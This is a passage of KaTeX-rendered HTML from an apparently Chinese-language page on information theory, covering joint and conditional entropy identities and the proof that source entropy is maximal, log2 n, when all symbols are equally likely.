style="margin-right:0.01389em;">g</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.207em;"><span style="top:-2.4559em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2441em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.4138em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mord">∣</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop"><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.207em;"><span style="top:-2.4559em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2441em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mord">∣</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></span><span style="top:-2.0674em;"><span class="pstrut" style="height:3.6514em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">−</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop"><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.207em;"><span style="top:-2.4559em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2441em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">−</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.4138em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop"><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.207em;"><span style="top:-2.4559em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2441em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mord">∣</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></span><span style="top:0.4864em;"><span class="pstrut" style="height:3.6514em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mord">/</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span><span style="top:1.9864em;"><span class="pstrut" style="height:3.6514em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mord">/</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:6.2978em;"><span></span></span></span></span></span></span></span></span></span></span></span></p><p>而且可以由于信源熵是非负数，可以发现联合信源不确定性更大。</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:3em;vertical-align:-1.25em;"></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.75em;"><span style="top:-3.75em;"><span class="pstrut" style="height:2.84em;"></span><span class="mord"></span></span><span style="top:-2.25em;"><span class="pstrut" style="height:2.84em;"></span><span class="mord"></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.25em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.75em;"><span style="top:-3.91em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace"> </span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose">)</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mord">/</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace"> </span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mord">/</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose">)</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.25em;"><span></span></span></span></span></span></span></span></span></span></span></span></p><p>信源熵很重要的性质就是，<strong>当信源 X 的 n 个符号，每个符号概率相等时，信源熵取得最大值 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9386em;vertical-align:-0.2441em;"></span><span class="mop"><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.207em;"><span style="top:-2.4559em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2441em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span></span></span></span></strong>，因为</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:15.3723em;vertical-align:-7.4362em;"></span><span class="mord"><span class="mtable"><span class="col-align-r"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:7.9362em;"><span style="top:-10.3147em;"><span class="pstrut" style="height:3.75em;"></span><span class="mord"></span></span><span style="top:-7.6773em;"><span class="pstrut" style="height:3.75em;"></span><span class="mord"></span></span><span style="top:-4.4483em;"><span class="pstrut" style="height:3.75em;"></span><span class="mord"></span></span><span style="top:-1.2192em;"><span class="pstrut" style="height:3.75em;"></span><span class="mord"></span></span><span style="top:2.1085em;"><span class="pstrut" style="height:3.75em;"></span><span class="mord"></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:7.4362em;"><span></span></span></span></span></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:7.9362em;"><span style="top:-10.3147em;"><span class="pstrut" style="height:3.75em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel amsrm">∵</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mop">ln</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">0</span><span class="mspace"> </span><span class="mord mathnormal">an</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop"><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.207em;"><span style="top:-2.4559em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2441em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3714em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mop">ln</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mop">ln</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">x</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span><span style="top:-7.6773em;"><span class="pstrut" style="height:3.75em;"></span><span class="mord"><span class="mord"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop"><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.207em;"><span style="top:-2.4559em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2441em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1076em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.936em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop"><span class="mop">lo<span 